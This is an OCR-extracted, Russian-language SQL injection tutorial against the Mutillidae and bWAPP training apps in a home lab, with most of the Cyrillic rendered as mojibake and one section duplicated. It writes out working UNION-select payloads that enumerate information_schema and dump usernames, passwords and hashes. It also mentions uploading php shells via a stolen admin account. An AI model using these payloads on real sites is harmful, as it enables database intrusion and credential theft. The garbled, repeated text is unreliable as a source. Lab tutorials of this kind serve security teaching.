i.lnion select 1,database(),user(),version(}),5

index.php?page=user-info.php&username=timcore' union select
1,2,3,4,5#&password=timcore&user-info-php-submit-button=View+Account+Details

Teket *  LWwpura tabynauma: 8 » Ctp10,Crnb 1 - BCT

DTO BhIpaKEHUE AOHKHO OTOOPA3UTH TEKYILYIO 0a3y TaHHBIX.
[IporecTupyem naHHYIO KOMaHIY:

Mozilla Firefox e 0
§ 10.0.2.7/mutillidaefinde: X | 4+

<)o C @ ® & 10.0.2.7/mutillidaefindex.php?page=user-info.php&username=timcoref union select 1,databas 1| | Q search n o =
% Most Visited [ Offensive Security '\, Kali Linux ', KaliDocs %, Kali Tools & Exploit-DB W Aircrack-ng el EtHumter '\, KaliTraining @ Getting Started
| Resources =71 FiEdase enLer username anu passwora ~
to view account details
0 Name
P Password
Site View Account Details

hacked...err...quality-
tested with Samurai
WTF, Backtrack,
Firefox, Burp-Suite, ‘
Netcat, and these
Mozilla Add-ons

Dont have an account? Please register here

Results for . 4 records found.

Username=timcore
Password=timcorel
Signature=

Username=timcore
Password=timcore
Signature=

@webpwnized

(]
% { Username=timcore
= Password=123
Mutillidae —
Channel Signature=ttt
Username=owaspl0
i Password=root@localhost
Irongeek™ Crenshaw Signature=5.0.51a-3ubuntus
and Jeremy Druin

Browser: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
PHP Version: 5.2.4-2ubuntu5.10

The newest version of Mutillidae can downloaded from Irongeek's Site

OToOpa3unack JOMOTHATENbHAS YIeTHAS 3aIUCh, C JIOTHHOM «owaspl0». D10
6a3a nannabix (database). Bropas 3amuce, ¢ umeHoBanunem «Passwordy,



oToOpakaeT moip30Barens, u 3To «root@localhosty. TpeTbs 3anuch oToOpaxkaeT
BEpCHUIO 0a3bl JaHHBIX, YTO TOXKE OUEHb BaXKHO.

OOBIYHO, MTPU U3BJICUCHUH UH(POPMAIIUU U3 0a3bl JTAHHBIX Mbl MOXKEM YBUIETh
Ta0JIUIIbI, CTONOLIBI, TaHHbIE, KOTOPBIE COIEpKATCs B HEH.

W B nanHO# cutyarium, Mbl HAXOAUMCS MO MOJIb30BaTeNeM «rooty. MHbiMU
CJIOBaMH, MbI MOYKEM TOJKIIOYUTHCS K JH000 0a3e NaHHbIX, TI000TO0
MIOJIb30BATENs Ha 3TOM BeO-caiite. Takoro B peanbHOM KU3HHU HE OBIBAET, TAK KaK y
Ka)KJIOTO TTOJTh30BATENIS CYIIECTBYET COOCTBEHHBIN HAOOp WH(OPMAIIHH.

Jljis TecTUpOBaHUS U HATJIIHOCTH, MBI OyZIEM UMETh BBHLY, YTO TOJKITIOUAaEMCS
TOJILKO K «owasp10», ¢ umeHneM nonb3oBarens «root@localhosty.

#9 SQL-nnbexuun. Mimem Tadaunnl B 6a3e JaHHDBIX.

Me1 3HaeMm, uTo 06a3a JaHHBIX Ha3bIBaeTCs Kak «owaspl0». MoxeM y3HaTh, Kakue
TaOJIAIIBI CYIIIECTBYIOT B ATOH 0a3e JaHHBIX. OTKOPPEKTHPYEM HaIITy 3aIHCh,
KOoTOpas uMmeeT BuI: «union select 1,database(),user(),version(),5», Ha «union
select 1,database(),null,null,5». BMmecto uMenu nonp30Baresiss U BEPCUU 51 BCTABUJI
3HayeHue «null». A mox HomepoMm 2 s U3MEHIO 3HaYeHue Ha «table namey, u B
KOHIIE 3anucH 100asmto «fromy». [lomyunrtes Takas 3anuch: «union select

1,table name,null,null,5 from». Ham Hy>HO BBIOpaTh €1ie 6a3y HaHHBIX MO-
YMOJYaHUIO, M OHA Ha3biBaeTcs «information schemay. [IpuMevarensHo, 4TO OHA
coliepkutT nHpopmaruio o 1pyrux 6azax qaHHbIX. Jl06aBUM TO B KOHIIE HaIIEH
3ammucH: «union select 1,table name,null,null,5 from information schema. tablesy.
Kak Bw1 Mmorin Obl 3aMeTHTB, 1 J0OABHII €llle 3HaUeHUE «tables» B 3aIuCh.

B utore mMb1 Bubupaem tabnuily «tables», n3 6a3bl TaHHBIX, MTO]T HA3BAHUEM
«information_schemay, a cronben, KOTOpPbI Mbl BHIOMPAEM, Ha3bIBAETCS

BbInoiHUM 3Ty KOMaHAy, 1 IPOBEPUM, MOJTYYUM JIM MbI CIIUCOK BCEX TaOMUII,
KOTOpbIE CYIIECTBYIOT B 0a3e JaHHBIX «owasplO»:


mailto:root@localhost
mailto:root@localhost

Mozilla Firefox
1 10.0.2.7/mutillidae/inde: X | +

&« G o ® £ 10.0.2.7/mutillidaefindex php?page =user-info.php&username =timcore&password=timcore' union select 1 table _name,null,null,5 from information ixd

£ Most Visited @ Getting Started \KauLmux N, Kali Training ", Kali Tools \ KaliDocs %\ Kali Forums *\ NetHunter [ Offensive Security  Exploit-DB & GHDB [l MSFu

WA Y VM we s
OWASP Top 10

lh-smu(es

Others I QS Back

Please enter username and password

to view account details
e Name

—_— Password

Site View Account Details
hacked...err...quality-

tested with Samurai

Dont have an account? Please register here
WTF, Backtrack,

Firefox, Burp-Suite,
Netcat, and these [ | Results for . 237 records found. |

Mozilla Add-ons N b :
Usernames=timcore

Password=timcore

Signature=
Username=CHARACTER_SETS
R Password= -
— Signature=
& | Username=COLLATIONS
= Password=
Mutillidae _
Channel Signature=
Username=COLLATION_CHARACTER_SET_APPLICABILITY
Developed by Adrian Password= - - -

“lrongeek" Crenshaw

Si ture=
and Jeremy Druin gnature

Username=COLUMNS
P

Mp1 BusiuM, uTo y Hac ecth 237 3anuceit. K 3Tum TabnuiiaMm y Hac €CTh JOCTYII.

Jlanee HaM HYXKHO TIPOTECTUPOBATh yciaoBue «where». Hy:xHO 100aBUTH K

TeKyuiei 3anucu «where table schema ,,owasp10“». Owasp10 — 310 TO, 4TO MBI

MOJIyYMJIH, KOTJIa BbIOpay 06a3y JaHHBIX.

Bcerasum B URL pganHyr0 3anuch, U OJIy4UM pe3yJIbTar:

Mozilla Firefox 00
¥ 10.0.2.7/mutillidaefinde: X | +
<« ¢ @ ® & 10.0.2.7/mutillidae/index.php?page=us php&username =timcore&password=timcore’ union select 1,table_name,null,null,5 from information o O In @ =
ﬁMasthted . Getting Started '\, Kali Linux , Kali Training “\ Kali Tools “\ KaliDocs “\ Kali Forums “\ NetHunter [l Offensive Security = Exploit-DB = GHDB [l MSFu
View Account vetails
hacked... err .quality-

tested with Samurai
WTF, Backtrack,
Firefox, Burp-Suite,

Dont have an account? Please register here

Netcat, and these Results for . 7 records found.

Mozilla Add-ons -
Usernames=timcore

Password=timcore

’LQ Signature=

Username=accounts

Signature=
& { Username=blogs_table
= Password=
Mutillidae
Groe] Signature=
Username=captured_data
Developed by Adrian Password— -

" Crenshaw Signature=
and Jeremy Druin
Username=credit_cards
Password=

Signature=

Username=hitlog
Password=
Signature=

Username=pen_test tools
Password=
Signature=

Browser: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0

PHP Version: 5.2.4-2ubuntu5.10

The newest version of Mutillidae can downloaded from Irongeek'’s Site

Tabnu1y cTano 3HaYUTENIbHO MEHBIIIE, HO OHU HaM J1al0T MHOTO MH(OPMALIUH.

SQL-unbexkunu. U3Biaexaem napoJu us 6a3pl JaHHBIX.



[Tponomxaem paccmarpuBarh SQL-UHBEKIUMY, U B JAHHOM YPOKE MBI OyZieM
IBITAaThCS U3BJIEYb NApOJIU U3 0a3bl JaHHBIX.

V Hac ecTb TaOIUIA «accounts»:

Mozilla Firefox (- NC]
¥ 10.0.2.7/mutillidae/inder X | +
&« c o D & 10.02.7 dac X c er-inf &use e=tim nic t e,null,nu form schema. tables whe 3 n @

£ Most Visited @ GettingStarted *, KaliLinux *\, Kali Training %\ KaliTools ', KaliDocs ', Kali Forums “, NetHunter [ Offensive Security % Exploit-DB & GHDB [f] MSFu
Netcat, and these L trmm e tmr s = s meet e cm————
Mozilla Add-ons

Username=timcore
Password=timcorel

~ 0 Signature=
-3

Username=timcore
d=timcore
Signature=

1]
& | Usernames=timcore
Password=123
Mutillidae =
e Signature=ttt

Username=accounts
Developed by Adrian Password=
"lrongeek" Crenshaw Signature=

and Jeremy Druin

Username=blogs_table
Password=
Signature=

Username=captured_data
Password=
Signature=

Username=credit_cards
Password=
Signature=

Username=hitlog
Password=
Signature=

Username=pen_test_tools
Password=
Signature=

0.0

HaMm Hy>XHO y3HaTh UMEHa CTOJIOLI0B, KOTOPBIE €CTh B 3TOM TabiuIe. ITO Aenaercs
C TIOMOIIBIO BBIPAKEHUS, KOTOPOE OYSHB IMOX0XKE Ha MpEbIayIee: «union select
'owasp10'», 3a uCKroueHHEM 3aMeHHbI «table namey, Ha «column namey, u BeIOOpa
Mexay «information_schema. tables», B «information_schema. columnsy. Taxxe
HY>KHO BbIOpaTh TabIHUILy, KOTOPYIO HEOOXOAMMO HUCCen0BaTh. B MoeM ciyyae —
3TO «accountsy», BMecTo «owasp10». ItoroBoe BolpaskeHue OyneT UMETh BUJ:
«union select 1,column_name,null,null,5 from information schema. columns
where table name = 'accounts'»:



1 10.0.2.7/mutillidaefinde: X | +

Mozilla Firefox

< c @

@ & 10.0.2.7/mutillidae/index.php?page =user-info

hp&username =timcore" union select 1,column_name,null,null,5 from informat

£+ Most Visited @ GettingStarted '\, Kali Linux %, Kali Training *\, Kali Tools “, Kali Docs '\ KaliForums *\ NetHunter [ Offensive Security  Exploit-DB & GHDB [f| MSFu

FIrerox, Burp-suite,
Netcat, and these
Mozilla Add-ons

Q

Results for . 8 records found.

n @

Username=timcore
Password=timcorel
Signature=

Username=timcore

- |
&
Mutillidae
Channel

d=timcore
Signature=

Username=timcore
Password=123
Signature=ttt

Developed by Adrian
8 " Crenshaw
and Jeremy Druin

Username=cid
Password=
Signature=

Username=username
Password=
Signature=

Username=password
Password=
Signature=

Username=mysignature
Password=
Signature=

Username=is_admin
Password=
Signature=

Browser: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0

PHP Version: 5.2.4-2ubuntu5.10

Bce cpaborano oTau4HO, 1 3TO BCE CTONOIIBI, KOTOPHIE MBI BUICIIHN PaHEE.

The newest version of Mutillidae can from 's Site

[Ipennararo caenars BEIOOPKY M3 CTOJIOLIOB «usernamey, u «accountsy.

BripaxkeHne, KoTopoe Mbl OyJiIeM MPUMEHSTh, OYCHb ITOX0XKE Ha MPeAbIIyIIee.
HyxHo m3MeHuTsh 2,3,4 MO3UIINIO, HA «usernamey, «passwordy», u «is_adminy.

[Tosumus 1 u 5 He oToOpaxkaeTcs B BeIBoAE. Jlo6aBUM BMECTO

«information_schema. columns where table name = 'accounts'», Ha 3HaueHue

«accountsy.

Bripaxxenne npumeTt BUI: «union select 1,username,password,is admin,5 from

accountsy:




Open - H]§£| ~£i$tp

Select # from accounts where username = '$USERNAME' and password='$PASSWORD'

B3Ry

index.php?page=user-info.php&username=timcore&password=timcore' order by 1000%23&user-info-php-
submit-button=View+Account+Details

union select 1,database(),user(),version(}),5

union select 1,table name,null,null,5 from information schema. tables where table schema =
'owasple’

union select 1,column name,null,null,5 from information schema.columns where table name =
'accounts'

union select 1,username,password,is admin,5 from accountﬂ

BcraBum nannoe Boipakenue B URL, u momyyaem BBIBOJ:

Mozilla Firefox [-Jc ]
§ 10.0.2.7/mutillidae/indes X | +

<« c @ ® £ 10.0.2.7/mutillidaefindex.php?page=user-info.php&username =timcore" union select 1,username, password,is_admin,5 from accounts%23password= e x4 n @ =
£ Most Visited @ Getting Started ", KaliLinux \, Kali Training ", Kali Tools ", KaliDocs *\ Kali Forums '\, NetHunter [ Offensive Security = Exploit-DB = GHDB [ MSFu

| Username=timcore
Password=123
Mutillidae
Channel Signature=ttt

Developed by Adrian Username=admin
b . Password=adminpass
Irongeek” Crenshaw Signature=TRUE

and Jeremy Druin
Username=adrian
Password=somepassword
Signature=TRUE

Username=john
Password=monkey
Signature=FALSE

Usernames=jeremy
Password=password
Signature=FALSE

Usernames=bryce
Password=password
Signature=FALSE

Username=samurai
Password=samurai
Signature=FALSE

Usernamesjim
Password=password
Signature=FALSE

Username=bobby
Password=password
Signature=FALSE

Username=simba

B e e

VY Hac ecTb Bce MMEHa MoJb30Bareseit u napoinu. OOpaTuTe BHUMaHHUE HA YUETHYIO
3anuch agMUHUCTpaTopa. Ha camoM zene 3Ta 3anuck uMeeT O0JbIINe NPUBUIIETUH
Ha pecypce, 0 OTHOIIEHHUIO K IPYTMM YYETHBIM 3anucsM. Bel MoxeTe fenath Bee,
4TO YrOJIHO, 3arpyxast php-1iesisl, 03K10pbl, BUPYCHI U T. JI.



[IpumedarensHO TO, 9TO HAM HE BAXKHO, KAKOW CJIOKHOCTH OyJET Mapoib, TaK KaKk
MbI Oy/IeM YUTaTh €ro U3 0a3bl TaHHbIX.

Yazsumocts SQL-Injection (GET/Search)

[ToroBopum npo SQL-uHBEKIHUN.

XoTs cylecTByeT MHOTO ysi3BuMocteit, BHenpenue SQL (SQLi) umeer cBoe
COOCTBEHHOE 3HaYEHHUE. ITO camasi paclipoCTpaHEHHAsl U caMasi oracHasi u3
ysI3BUMOCTeH BeO-npunoxenuil. Imes ys3Bumocts SQL1 B mpuiiokeHuw,
3JIOYMBIILJIEHHUK MOXKET HAHECTH CEPhE3HbIN yiiep0, Takoil kak 00X0/ BXoja B
CUCTEMY, MTOJIyYeHHE KOH(DUICHIIMATbHON HH(MOPMAIINK, U3MEHEHUE, YIaJIeHUE
JTAHHBIX.

Paccmotpum yszBumocts SQL-Injection (GET/Search), Ha HU3kOM ypoBHE
oe3onacHocTH B «bee-box» nmm «bWAPPy, nepeiifs Ha OTHOUMEHHYIO BKIAIKY:

bWAPP - SQL Injection - Mozilla Firefox e e 0

Kali Linux, an Offensive Sec: X | ¥ bWAPP-SQL Injection X | 4+

T c @ ® 10.0.2.18/bWAPF o O N @ =
£ Most Visited @ Getting Started "\, Kali Linux "\ Kali Training '\ Kali Tools "\ KaliDocs '\ Kali Forums “\ NetHunter [f] Offensive Security  Exploit-DB & GHDB [l MSFu
@ Choose your bug
bWAPP v2.2 57 Hack

Set your security level
low v Set | Current low

an ex+remely buaay web app I

=

Cha Password Create User Set Security Level Reset Credits Blo. Logout
nge ) )

/ SQL Inection (GET/Search) /

Search for a movie: Search

Title Character Genre

PWAPP is kcensed under [@)ev-rc-ro] © 2014 MME BVBA / Folow on Twitter and ask For cur cheat sheet, contaring al sotions! / Need an exclusive

BBGI[CM JIF000€ 3HaYEHHE B I10JIC JJIs1 BBOAA.:



bWAPP - SQL Injection - Mozilla Firefox @ e 0
Kali Linux, an Offensive Sec: X | 3 bWAPP - SQL Injection X | +
<« c @ D 10.0.2.18/bV: li_1.php2tit gaction=search O N @ =
£+ Most Visited @ Getting Started '\, Kali Linux \, Kali Training “\ Kali Tools "\ KaliDocs '\ Kali Forums \ NetHunter [f] Offensive Security # Exploit-DB & GHDB [ MSFu

@ Choose your bug

bWAPP v2.2 v Hack

Set your 5ecur‘rh/ level:
an extremely buggy web app | ow L Set

Bugs  Change Password  Create User  Set Security Level  Reset  Credis  Blog  Logout

/ SQL Injection (GET/search) / ®

Search for a movig | timcore Search

Title Release Character Genre IMDb

Oea

LWAPP s ice er © 2014 MME BVBA / Folow - ot che otstions! / Need an exclusive

HauneMm skcriepuMeHTHPOBATh C OIMHAPHBIX KaBbIUEK, KOTOPHIC OYyIyT
orobpaxeHnsl B ctpoke URL:

bWAPP - SQL Injection - Moxzilla Firefox

Kali Linux, an Offensive Sec:. X | 3 bWAPP - SQL Injection X +

& c @ ® 10.0.2.18/bWAPP/sqli_1.phptitle

N Choose k
%@ your

Set your sec

an extremely laugﬂy web app ! | low

Bu@-’; Chanae Password Create User Set Security Level Reset Credits

/ SQL Injection (GET/Search) /
Searchfmamowm Search

088

Title Release Character Genre IMDb

G.l. Joe: Retaliation 2013 Cobra Commander action Link
Iron Man 2008 Tony Stark action Link
Man of Steel 2013 Clark Kent action Link
minator Salvation 2009 John Connor Cifi Link

LWAPP is licensed under © 2014 MME BVBA / Folow on Twitter and ask For cur cheat sheet, contaring all soktions! / Need an exclusive

Buaum BeIBOA GHIBMOB M ONHCAHUE K HUM.

HpOI[OJDKI/IM HCCJICIOBAHUC, U BBECACM OJIMHAPHYIO KaBBIYKY B IIOJIC IJIA BBO/IA:



bWAPP - SQL Injection - Mozilla Firefox

Kali Linux, an Offensive Sec:. X | 3 bWAPP - SQL Injection X | +

< Cc @ ® 10.0.2.18/bWAPP/sqli_1.php?tit BL:(‘. on=search
£* Most Visited @ Getting Started %, Kali Linux " Kali Training “\ Kali Tools “\ KaliDocs “ Kali Forums " NetHunter [l Offensive Security * Exploit-DB &

an ex+reme|\/ bugﬂy web opp |

Bu@s Chanae Password Create User Set Securﬁ'\/ Level Reset Credits Bloa Loaou+

/ SQL Inj'ecﬁon (GET/Search) /

Search for a movie}| * Search

Title Release Character Genre IMDb

Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL
server version for the right syntax to use near '%" at line 1

Mp1 Hapymunu cuaTakcuc SQL, a 3To 3HaYUT, 4TO Ha 3TOM BEO-CTpaHuULIe
CYILLIECTBYET JaHHBIA TUI HHBEKIIMHU. MBI Jake MOKEM HE BBOAUTH 3HAYEHHUS B
II0JIE 111 BBOJIA, @ BOCIIOJIB30BABIIMCH TOJIBKO ajipecHor cTpokoil URL.

[TomeHsieM BbIpakeHUE ISl TOTO, YTOOBI cenaTh BEIOOPKY (DUIIBMOB, C TOMOIIBIO
«iron‘ or 1=1#»:

bWAPP - SQL Injection - Mozilla Firefox e ® O
Kali Linux, an Offensive Sec: X | 3% bWAPP - SQLInjection X | +

<« c o ® 10.0.2.18/bWAPP/sqi_1 :} earc R mo =

£+ Most Visited @ Getting Started '\, Kali Linux '\ Kali Training '\ Kali Tools *\ KaliDocs *\ Kali Forums “\ NetHunter [ Offensive Security # Exploit-DB & GHDB I MSFu

@ Choose your bug

bWAPP v2.2 v Hack

Set your security level
low 2 Set Current low

an ex+reme|y bugﬁy web app !

Bugs Change Password Create User Set Security Level Reset Credits Blog Logout

/ SQL Inection (GET/Search) /

QBAC

Title Release Character Genre IMDb

G.1. Joe: Retaliation 2013 Cobra Commander action Link
fron Man 2008 Tony Stark action Link
Clark Kent action Link

Term vation 2009 John Connor sci-fi Link

bWAPP 15 icensed under © 2014 MME BVBA / Folow on Twitter and ask for cur cheat sheet, contaning al soutions! / Need an exclusive



Bripaxenue uCTUHHO, U OHO BO3BpaIaeT HAM CIIUCOK (DUIIEMOB.
Ecau Mbl m13BMEHUM BBIpaXKEHHUE Ha JIOKHOE: «iron‘ or 1=2#»:

bWAPP - SQL Injection - Mozilla Firefox e o0

Kali Linux, an Offensive Sec: X | 3% bWAPP - SQL Injection X | +

<« c @ ® 10.0.2.18/bWAPP/sqli_1 l +19%3D2 l = - O W n @ =

£+ Most Visited @ Getting Started *\ Kali Linux \ Kali Training "\ Kali Tools ‘W KaliDocs '\ Kali Forums '\ NetHunter [ Offensive Security & Exploit-DB & GHDB [fIMSFu

@ Choose your bug

bWAPP v2.2 N Hack

Set your security level
low v Set | Current low

an ex+remely loueﬂy web app '

Bugs Change Password Create User Set Security Level Reset Credits Blog Logout

/ SQL Injection (GET/Search) /
Search for a mov \e ‘ Search

Title Release Character Genre IMDb

OBAEC

No movies were found!

bWAPP 15 icensed under [@)iv-ree] © 2014 MME BVBA / Folow on Twitter and ask For cur cheat sheet, contanng al

Bblpa)KeHI/Ie JIOKHOC, N CIIMCOK (I)I/IJ'IBMOB HC BBIBOJHUTC:.

Janee mompoOyeM BBIBECTH TOJIb30BaTEINs (USEr), BEPCHIO ONIEpaIliOHHOMN

CHUCTEMBI.
DTO0 AemaeTcs ¢ MOMOIIIBIO BRIpaKeHUs: «iron' union select

bWAPP - SQL Injection - Mozilla Firefox e ® 0
Kali Linux, an Offensive Sec: X | 3 bWAPP-SQL Injection X | +
< c @ ® 10.0.2.18/bWA 2 2 ] ct e O W n o =
£ Most Visited @ Getting Started \, Kali Linux \ Kali Training '\ Kali Tools '\ KaliDocs \ Kali Forums “\ NetHunter [ Offensive Security & Exploit-DB & GHDB [ MSFu
@ Choose your bug
bWAPP v2.2 v Hack
Set your security level

low v Set | Current low

an ex+r‘eme|y louaay web opp I

Bugs  Chonge Password  Create User  Set Security Level  Reset  Credts  Blog  Logout

/ SQL Injection (GET/Search) /

Search for amo .u(l 1select 1,user(), @@version,4,5,6,7 # I Search

Title Release Character Genre IMDb

(Of 15

Link

bWAPP is Icensed under [@ivremo] © 2014 MME BVBA / Folow on Twitter and ask For cur cheat sheet, contaning al soutions! / Need an exclusive

MO>HO BBIBECTH JIOTUHBI, TIAPOJTH, aApeca MIEKTPOHHOMN TOYTHI, C TOMOIIHIO
BBIpakeHUs «iron' union select 1,login,password,email,5,6,7 from users #»:



bWAPP - SQL Injection - Mozilla Firefox e e 0

Kali Linux, an Offensive Sec: X | 3 bWAPP - SQL Injection X | +
€ c @ ® 10.0.2.18/bWA 1.phptitlefiron Cy 1%2Cemail%2 ¢ 7+from-+users+%234action=sear e O 0 N @
£+ Most Visited @ Getting Started "\, Kali Linux "\ Kali Training "\ Kali Tools "\ KaliDocs \ Kali Forums “\ NetHunter JjJ Offensive Security % Exploit-DB & GHDB [IMSFu
X bWAPP v2.2 . Hack

Set your security level:
low v Set | Current low

an ex+reme|\/ buaa\/ web app I

Bugs  Change Password  Create User  Set Security Level ~ Reset  Credits  Blog  Logout

/ SQL Ir‘ljecﬁon (GET/Search) /

o~

Search for a movie: | in,password,email,5,6,7 from users # Search ﬁ
Title Release Character Genre IMDb ﬂ
, , bwapp =
AlLM 6885858486/31043e5839¢ 735099457f045affd0 5 _ Link
aim@mailinator.com
- = . bwapp:
6885858486f31043e5839¢735099457f045affd0 5 Link
bee@mailinator.com
40bd001563085fc35165329ealffScSechdbbeef 5 timcore@timcore.ru  Link

bWAPP is icensed under © 2014 MME BVBA / Follow er and ask For our cheat sheet, contanng al solutions! / Need an exclusive

Yazsumocts SQL-Injection (GET/Search)

3npaBcTBylTE, 1oporue apy3bs. [loroBopum npo SQL-nHBEKINN.

XoTs cylIecTByeT MHOTO ys3BuMocTeid, BHenpenne SQL (SQL1) umeeT cBoe
coOCTBEHHOE 3HAUCHME. DTO camasi paclipoOCTpaHECHHAs U caMas OIacHas u3
ySI3BUMOCTEH BeO-nipriiokeHui. iMest ys3BuMocTh SQLI1 B IpUIIOKEHNH,
3JIOYMBIIIJICHHUK MOXKET HAHECTH CePhe3HbBIN yIepO, Takol Kak 00X0/ BX0/aa B
CUCTEMY, TOJIyYeHUEe KOH(DHUICHITNAILHON nHDOpMALIK, U3MCHCHUE, YIaJICHUE
JTAaHHBIX.

Paccmotpum yszBumocth SQL-Injection (GET/Search), Ha Hu3koM ypoBHE
oe3onacHocTH B «bee-box» nmm «bWAPPy, nepeiifs Ha OTHOMMEHHYIO BKIAIKY:



Kali Linux, an Offensive Sec. X | 3% bWAPP - SQL Injection X | +

& c o @ 10.0.2.18/bWAPF

an ex+reme|y buﬁﬂY web app I

Bugs

Search for a movie: Search

Title Release Character

] © 2014 MME BVBA / Folow

Brenem JIF000€ 3HaYCHHE B I10JIC JJIs1 BBOJA:

Kali Linux, an Offensive Sec: X | 3% bWAPP - SQL Injection X | +

/ SQL Inection (GET/Search) /

Change Password Create User Set Security Level

Genre

bWAPP - SQL Injection - Mozilla Firefox e e 0

Reset

£ Most Visited @ Getting Started "\, Kali Linux "\ Kali Training '\ Kali Tools "\ KaliDocs '\ Kali Forums “\ NetHunter [ Offensive Security & Exploit-DB & GHDB [ MSFu

Credits

IMDb

on Twitter and ask for ocur cheat shee

Blog Logout

9 mn o =
Choose your bug
bWAPP v2.2 v Hack
Set your security level

low v Set | Current low

s! / Need an exclusive

bWAPP - SQL Injection - Mozilla Firefox (O -

& (] D 10.0.2.18/bWAPP

W

an ex+r‘eme|\/ buﬁay web app I

Search for a movi mcore Search

Title Release Character

2014 MME BVBA / Folow

Bugs Change Password Create User Set Security Level

/ SQL lnjecﬁon (GET/search) /

Genre

Reset

&+ Most Visited @ Getting Started '\, Kali Linux '\ Kali Training '\, Kali Tools "\ KaliDocs \ Kali Forums *\ NetHunter [ Offensive Security = Exploit-DB = GHDB [ MSFu

Credits

IMDb

- QO n @

Choose your bug
bWAPP v2.2 v Hack

Set your security level
low v Set | Current low

Blog

oea

leed an exclusive

HauHneMm sKcriepuMeHTUPOBAaTh C OMHAPHBIX KaBbIUEK, KOTOPBIE OyIyT

orobpaxeHnsl B ctpoke URL:



bWAPP - SQL Injection - Mozilla Firefox

Kali Linux, an Offensive Sec. X | 3 bWAPP - SQL Injection X | +

< C @ @® 10.0.2.18/b ph ac ch
#* Most Visited @ Getting Started % KaliLinux “ Kali Training "\ Kali Tools % Kali Docs “ Kali Forums “§ NetHunter [jl] Offensive Security % Exploit-DB & GHDB M
= Choose yar

Set your sec

an exh’eme\y lauaﬂy web opp ! L low v

Bugs Change Password Create User Set Security Level Reset Credits Blog Logout

/ SQL Injection (GET/Search) /
Search for a movw@ Search

OSa

Title Release Character Genre IMDb
G.l. Joe: Retaliation 2013 Cobra Commander action Link
Iron Man 2008 Tony Stark action Link
Man of Steel 2013 Clark Kent action Link
Jerminator Salvation 2009 John Connor SCifi Link

bWAPP is licensed under [@)ev-ren] © 2014 MME BVBA / Folow on Twitter and ask For our cheat sheet, containing all soutions! / Need an exclusive

Buaum BbIBOA (GUIBMOB U ONUCAHUE K HUM.

HpO)IOJDKI/IM HCCJICAOBAHUC, U BBEACM OJMHAPHYIO KaBBIYKY B IIOJIC AJIS BBO/JA:

bWAPP - SQL Injection - Mozilla Firefox

Kali Linux, an Offensive Sec. X | % bWAPP - SQL Injection X +
S C o @® 10.0.2.18/b\

£+ Most Visited @ Getting Started % Kali Linux " Kali Training “§ Kali Tools “ KaliDocs "\ Kali Forums " NetHunter [l Offensive Security * Exploit-DB &

an ex+r‘eme|\/ buaay web opp |

Bu@f; Chanae Password Create User Set SecurH*\/ Level Reset Credits Bloa

/ SQL Inj'ecﬁon (GET/Search) /

Search for a movie Search

Title Release Character Genre IMDb

Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL
server version for the right syntax to use near ‘%" at line 1




Mg Hapyiiu cuaTakcuc SQL, a 3To 3HAUUT, UTO Ha ATOM BeO-CTpaHUIIE
CYILIECTBYET JIaHHBIN TUI UHBEKIIUU. MBI 1ake MOKEM HE BBOAUTDH 3HAYCHUS B
TI0JIE JIJIsI BBOJZIA, @ BOCITOJIB30BABIIKCH TOJBKO aapecHou ctpokort URL.

[TomeHsieM BBIpaKEHUE TSI TOTO, YTOOBI C/IeNIaTh BEIOOPKY (PHIIBMOB, C TIOMOIIBIO
«iron® or 1=1#»:

bWAPP - SQL Injection - Mozilla Firefox e 0
Kali Linux, an Offensive Sec: X | 3 bWAPP - SQL Injection X | +

« c @ D 10.0.2.18/bWAPP/sqli_1.php2tit ¥ R n o =

£+ Most Visited @ Getting Started '\, Kali Linux '\ Kali Training '\ Kali Tools *\ KaliDocs \ Kali Forums “\ NetHunter [ Offensive Security # Exploit-DB & GHDB [ MSFu

@ Choose your bug:

bWAPP v2.2 v Hack

Set your security level
low v Set | Current low

an ex’rremelx/ lourjﬁy web app !

Bugs Change Password Create User Set Security Level Reset Credits Blog Logout

/ SQL Injection (GET/sSearch) /

Search for a movie} | iron' or 1=1# Search

QB AC

Title Release Character Genre IMDb
G.1. Joe: Retaliation 2013 Cobra Commander action Link
fron Man 2008 Tony Stark action Link
Man of Steel 2013 Clark Kent action Link

2009 John Connor sci-fi Link

bWAPP is icensed under [@)v-rio] © 2014 MME BVBA / Folow on Twitter and ask For cur cheat sheet, contaning dl soutions! / Need an exclsive

BripaxeHune HCTHHHO, M1 OHO BO3BpaIaeT HAM CIUCOK (hUIBMOB.
Ecnu Mbl U3BMEHNM BBIpaKEHHUE Ha JIOKHOE: «iron® or 1=2#:

bWAPP - SQL Injection - Mozilla Firefox (- IO <]
Kali Linux, an Offensive Sec: X | 3 bWAPP - SQL Injection X | +

<« c @ ® 10.0.2.18/bWAPP/sqli_1.§ { 1%3D? l = - O W n @ =

£+ Most Visited @ Getting Started "\, Kali Linux *\ Kali Training "\ Kali Tools '\ Kali Docs '\ Kali Forums '\ NetHunter [ Offensive Security & Exploit-DB & GHDB [fIMSFu

@ Choose your bug

bWAPP v2.2 v Hack

Set your security level:
low v Set | Current low

an ex+remely Iouﬁgy web app !

Bugs Change Password Create User Set Security Level Reset Credits Blog Logout

/ SQL Injection (GET/Search) /

Search for a movie]| iron" or 1=2#] ‘ Search

Title Release Character Genre IMDb

OO Eac

No movies were found!

bWAPP 5 Ic d under [@)v-rc-ro ] © 2014 MME BVBA / Folow on Twitter and ask For our cheat sheet, co

Bripaskenue 0xkHO€, U CHUCOK (PUIEMOB HE BHIBOJIUTCSI.



Jlanee mompoOyeM BBIBECTH HOIb30BaTeNs (USer), BEPCHIO OTEPAlMOHHON

CHUCTEMBEL.
DTO JienaeTcs ¢ MOMOIIIBIO BRIpaKEeHUsI: «iron' union select

bWAPP - SQL Injection - Mozilla Firefox e ® 0
Kali Linux, an Offensive Sect X | 3 bWAPP - SQL Injection X | +
2 c @ ® 10.0.2.18/bWAPP 1 1%2 2 ] t o O @ =
£ Most Visited @ Getting Started "\ Kali Linux '\, Kali Training '\ Kali Tools '\ KaliDocs “\ Kali Forums “\ NetHunter [] Offensive Security % Exploit-DB & GHDB [ MSFu
@ Choose your bug:
bWAPP v2.2 v Hack

Set your security level
low v Set | Current low

an ex+reme|\/ Iouaﬁx/ web app I

Blog Logout

Bugs Change Password Create User Set Security Level Reset Credits

/ SQL Injection (GET/Search) /

Search for amo ./m{ 1select 1,user(), @@version,4,5,6,7 # | Search

Title Release Character Genre IMDb
